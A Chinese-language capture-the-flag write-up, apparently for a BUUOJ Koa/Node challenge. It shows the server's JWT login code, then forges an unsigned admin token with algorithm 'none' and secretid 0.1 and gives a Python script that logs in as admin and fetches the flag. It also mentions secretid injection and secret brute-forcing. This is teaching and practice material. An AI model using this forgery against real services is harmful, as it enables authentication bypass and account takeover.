可以推测出是题目依赖库的问题。测试题目功能,发现:
由此可得出:
const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');
const crypto = require('crypto');
const { resolve } = require('path');
const rest = require('./rest');
const controller = require('./controller');
const PORT = 3000;
const app = new Koa();
app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];
app.use(static(resolve(__dirname, '.')));
app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));
app.use(session({key: 'sses:aok', maxAge: 86400000}, app));
// parse request body:
app.use(bodyParser());
// prepare restful service
app.use(rest.restify());
// add controllers:
app.use(controller());
app.listen(PORT);
console.log(`app started at port ${PORT}...`);
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){ //先判断username不为空或admin
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = []; //定义一个全局数组
}
const secret = crypto.randomBytes(18).toString('hex'); //生成一个secret
const secretid = global.secrets.length; //根据数组长度得到一个secretid
global.secrets.push(secret) //把secret放进全局数组
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}); //利用以上信息生成一个JWT令牌
ctx.rest({
token: token
});
await next();
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization; //
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; //从jwt令牌信息中取出secretid
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id'); //检查sid
}
const secret = global.secrets[sid]; //从全局数组中取出sid对应的secret
const user = jwt.verify(token, secret, {algorithm: 'HS256'}); //验证
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username; //置session中的username为登录时的username
}
ctx.rest({
status
});
await next();
}
getflag
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){ //检查session中的username是否为admin
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString(); //如果是admin,则可以读取flag
ctx.rest({
flag
});
await next();
}
知道逻辑后,思路就很清晰了,注册--》登录为admin--》 获取flag
此题的利用方式是:将secret置空。利用node的jsonwentoken库已知缺陷:当jwt的secret为空时,jsonwebtoken会采用algorithm为none进行解密。
所以我们得构造一个jwt,将algorithm设为空,将uername设为admin,那么secretid怎么设置才能使secret取出来为空呢?
这里我们还需绕过secretid的一个验证,不能为undefined,不能为null,
但是JavaScript是一门弱语言,所以我们可以将secretid设为一个数组或小数,(数组和数字比较时永远为真,包括空数组)这时候取出来的secret为空,加密算法也按none处理,即可成功绕过jwt验证。
解题过程:
注册一个用户,为了初始化secret数组。它返回了一个token。
构造一个JWT:
import jwt //这里我怕犯了一个错误,我给文件区的名字就叫jwt.py,而jwt模块就叫这个,重名了报错
token = jwt.encode({"secretid":0.1,"username": "admin","password": "xxx","iat": 1587287370},algorithm="none",key="").decode(encoding='utf-8')
print(token)
得到token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6MC4xLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJ4eHgiLCJpYXQiOjE1ODcyODczNzB9.
接着登录抓包,把token换成我们构造的,成功返回true,
可以看到页面成功登录admin,显示welcome admin,接着getflag抓包,得flag
以上操作也可写个脚本,一次跑出来:
import jwt
import requests
base_url = "http://99cdd9e7-5e19-4056-bffa-d35bb463b196.node3.buuoj.cn" # 题目地址
s = requests.Session()
res = s.post(base_url+'/api/register', data={"username": "hhh", "password": "hhh"})
//print(res.text)
token = jwt.encode({"secretid":0.1,"username": "admin","password": "xxx","iat": 1587287370},algorithm="none",key="").decode(encoding='utf-8')
//print(token)
res = s.post(base_url+'/api/login', data={"username": "admin", "password": "xxx", "authorization":token})
//print(res.text)
res = s.get(base_url+'/api/flag')
print(res.text)
注:
jwt伪造还有两种利用方式:
1、secretid是注入点,是通过在数据库中查询找secret的,可进行注入,绕过后可用我们自己设置的secret登录或者注出secret。
2、爆破secret。